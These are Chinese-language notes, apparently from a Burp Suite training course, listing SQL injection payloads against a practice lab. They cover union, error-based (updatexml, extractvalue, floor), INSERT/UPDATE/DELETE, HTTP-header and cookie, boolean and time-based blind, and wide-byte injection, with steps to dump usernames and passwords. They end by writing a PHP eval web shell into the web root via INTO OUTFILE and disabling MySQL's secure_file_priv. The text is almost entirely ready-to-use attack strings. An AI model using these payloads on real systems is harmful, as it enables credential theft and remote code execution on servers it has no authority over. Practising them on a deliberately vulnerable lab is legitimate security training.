burpsuite实战教程

burpsuite实战教程.pdf

sql注入

  1. 数字型注入
  2. 1 or 1=1
  3. 字符型注入
  4. kobe' or 1=1#
  5. 搜索型注入
  6. kobe%' or 1 =1 #
  7. XX型注入
  8. kobe') or 1=1#
  9. union联合查询 注入
  10. // 1. cols count
  11. kobe' union select 1,2#
  12. // 2. database info
  13. kobe' union select user(),database()#
  14. // 3. tables name
  15. kobe' union select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk'#
  16. // 4. cols name
  17. kobe' union select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users'#
  18. // 5. table content
  19. kobe' union select username,password from pk.users#
  20. // 6. Burte Force
  21. MD5 , SHA1, SHA256, SHA512
  22. 基于函数报错的注入
  23. select查询时只能有一列
  24. ERROR 1241 (21000): Operand should contain 1 column(s)
  25. select查询时结果时多行会报错,需要使用limit限制
  26. ERROR 1242 (21000): Subquery returns more than 1 row
  27. // 1. 测试注入点
  28. kobe' and updatexml(1,version(),0)#
  29. kobe' and updatexml(1,concat(0x7e,version()),0)#
  30. // 2. database info
  31. kobe' and updatexml(1,concat(0x7e,database()),0)#
  32. // 3. tables name
  33. kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk')),0)#
  34. kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)),0)#
  35. kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1)),0)#
  36. //found users
  37. kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0)#
  38. // 4. cols name
  39. kobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0)#
  40. // found password
  41. kobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)),0)#
  42. // found username
  43. kobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)),0)#
  44. // 5. table content
  45. kobe' and updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0)#
  46. kobe' and updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0)#
  47. // 6. Burte Force
  48. extractvalue
  49. kobe' and extractvalue(1,version())#
  50. kobe' and extractvalue(1,concat(0x7e,version()))#
  51. // 2. database info
  52. kobe' and extractvalue(1,concat(0x7e,database()))#
  53. // 3. tables name
  54. kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk')))#
  55. kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)))#
  56. kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1)))#
  57. //found users
  58. kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)))#
  59. // 4. cols name
  60. kobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)))#
  61. // found password
  62. kobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)))#
  63. // found username
  64. kobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)))#
  65. // 5. table content
  66. kobe' and extractvalue(1,concat(0x7e,(select username from pk.users limit 0,1)))#
  67. kobe' and extractvalue(1,concat(0x7e,(select password from pk.users limit 0,1)))#
  68. // 6. Burte Force
  69. floor()
  70. kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x) a )#
  71. kobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x) a )#
  72. // 2. database info
  73. kobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x) a )#
  74. // 3. tables name
  75. //found users
  76. kobe' and (select 2 from (select count(*),concat((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
  77. // 4. cols name
  78. // found password
  79. kobe' and (select 2 from (select count(*),concat((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
  80. // found username
  81. kobe' and (select 2 from (select count(*),concat((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
  82. // 5. table content
  83. kobe' and (select 2 from (select count(*),concat((select username from pk.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
  84. kobe' and (select 2 from (select count(*),concat((select password from pk.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
  85. // 6. Burte Force
  86. 基于函数报错,insert
  87. 1. 测试闭合
  88. insert into member(username,pw,sex,phonenum,email,address) values('hello' -- ',md5('123'),'','','','')
  89. hello' --
  90. insert into member(username,pw,sex,phonenum,email,address) values('hello' or ' ',md5('123'),'','','','')
  91. hello' or '
  92. 2. 获取数据库名称
  93. insert into member(username,pw,sex,phonenum,email,address) values('hello' or updatexml(1,concat(0x7e,database()),0) or '',md5('123123'),'','','','')
  94. hello' or updatexml(1,concat(0x7e,database()),0) or '
  95. // 3. tables name
  96. //found users
  97. kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0)#
  98. insert into member(username,pw,sex,phonenum,email,address) values('hello' or updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0) or '',md5('123123'),'','','','')
  99. hello' or updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0) or '
  100. // 4. cols name
  101. kobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0)#
  102. hello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0) or '
  103. // found password
  104. hello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)),0) or '
  105. // found username
  106. hello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)),0) or '
  107. // 5. table content
  108. kobe' and updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0)#
  109. hello' or updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0) or '
  110. hello' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or '
  111. 基于函数报错update
  112. // 1. 测试注入
  113. update member set sex=''',phonenum='123',address='1123123',email='123123' where username='test1'"
  114. ' 报错
  115. update member set sex='' or '',phonenum='123',address='1123123',email='123123' where username='test1'"
  116. ' or ' bu报错
  117. update member set sex='' or updatexml(1,concat(0x7e,database()),0) or '',phonenum='123',address='1123123',email='123123' where username='test1'"
  118. // 2. 获取数据库名
  119. ' or updatexml(1,concat(0x7e,database()),0) or '
  120. // 3. tables name
  121. // 4. cols name
  122. // 5. table content
  123. 基于函数报错注入,delete
  124. 1. 测试注入
  125. ' 报错
  126. or 1=1 不报错
  127. 2. 获取数据信息
  128. 69+or+updatexml(1,concat(0x7e,database()),0)
  129. // 3. tables name
  130. // 4. cols name
  131. // 5. table content
  132. 69 or updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0)
  133. 69 or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0)
  134. http头注入
  135. User-Agent: ' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or '
  136. Accept: ' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or '
  137. Cookie: ant[uname]=admin' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0)#;
  138. 基于布尔的盲注
  139. kobe ' and 1=1#
  140. 获取字符函数
  141. select substr("pk",1,1)='p'; 如果返回为1,说明正确,否则说明错误
  142. 获取数据库名的第一个字符
  143. select substr(database(),1,1)='a'; 如果返回为1,说明正确,否则说明错误
  144. 将字符转为ascii
  145. select ascii(substr(database(),1,1))=112;
  146. 获取字符串的长度
  147. select length(database())=2;
  148. kobe ' and select substr("pk",1,1)='p'#
  149. kobe ' and select ascii(substr(database(),1,1))=112;
  150. 通过查询,and连接,两个查询都为真即为真
  151. select username from member where username ='kobe' and (select ascii(substr(database(),1,1))=112);
  152. kobe' and (select ascii(substr(database(),1,1))=112)#
  153. 后表查询中为假,所以为假
  154. select username from member where username ='kobe' and (select ascii(substr(database(),1,1))=111);
  155. kobe' and (select ascii(substr(database(),1,1))=111)#
  156. // 1. 获取数据库名
  157. // 1. 1获取数据库名的长度
  158. kobe' and (select length(database())=2)#
  159. // 1.2 获取数据库名的每一个字符
  160. kobe' and (select ascii(substr(database(),1,1))=112)#
  161. // 2. 表名
  162. kobe' and (select ascii(substr(database(),1,1))=112)#
  163. // 查询表名,获取第一个表名
  164. select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1
  165. select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1
  166. // 通过获取一个表名,然后判断这个表名的第一个字符的ascii是不是某一个值
  167. kobe' and (select ascii(substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1),1,1))=112)#
  168. // 3. 列名
  169. // 判断一列的一个字符
  170. kobe' and (select ascii(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1),1,1))=112)#
  171. // 4.内容
  172. kobe' and (select ascii(substr((select username from pk.users limit 0,1),1,1))=112)#
  173. 基于时间的盲注
  174. 1. 测试注入点
  175. kobe' and sleep(5)#
  176. 2. 获取数据库名
  177. kobe' and if((substr(database(),1,1)='p'),sleep(5),null)#
  178. 3. 表名
  179. kobe' and if((substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1),1,1)='m'),sleep(5),null)#
  180. 4. 列名
  181. // 判断名字的第一个字符
  182. kobe' and if((substr(获取的列名,1,1)='p'),sleep(5),null)#
  183. 5. 表的内容
  184. // 判断名字的第一个字符
  185. kobe' and if((substr(获取的表内容,1,1)='p'),sleep(5),null)#
  186. C:/phpStudy/PHPTutorial/WWW/pk/1.php
  187. 获取操作系统权限:
  188. kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/2.php"#
  189. kobe' union select "<?php @eval($_POST['test'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/2.php"#
  190. kobe' union select "<?php @eval($_GET['cmd'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/1.php"#
  191. show global variables like '%secure%';
  192. 在mysql的配置文件中
  193. [mysqld] 下面加入
  194. secure_file_priv=
  195. 暴力破解表名和列名称
  196. // 破解表名
  197. kobe' and exists(select * from aa)#
  198. 将aa进行变量化 暴力破解
  199. // 破解列名
  200. kobe' and exists(select id from users)#
  201. 宽字节注入:
  202. 空格 %20
  203. ' %27
  204. # %23
  205. \ %5c
  206. 1%df' or 1=1#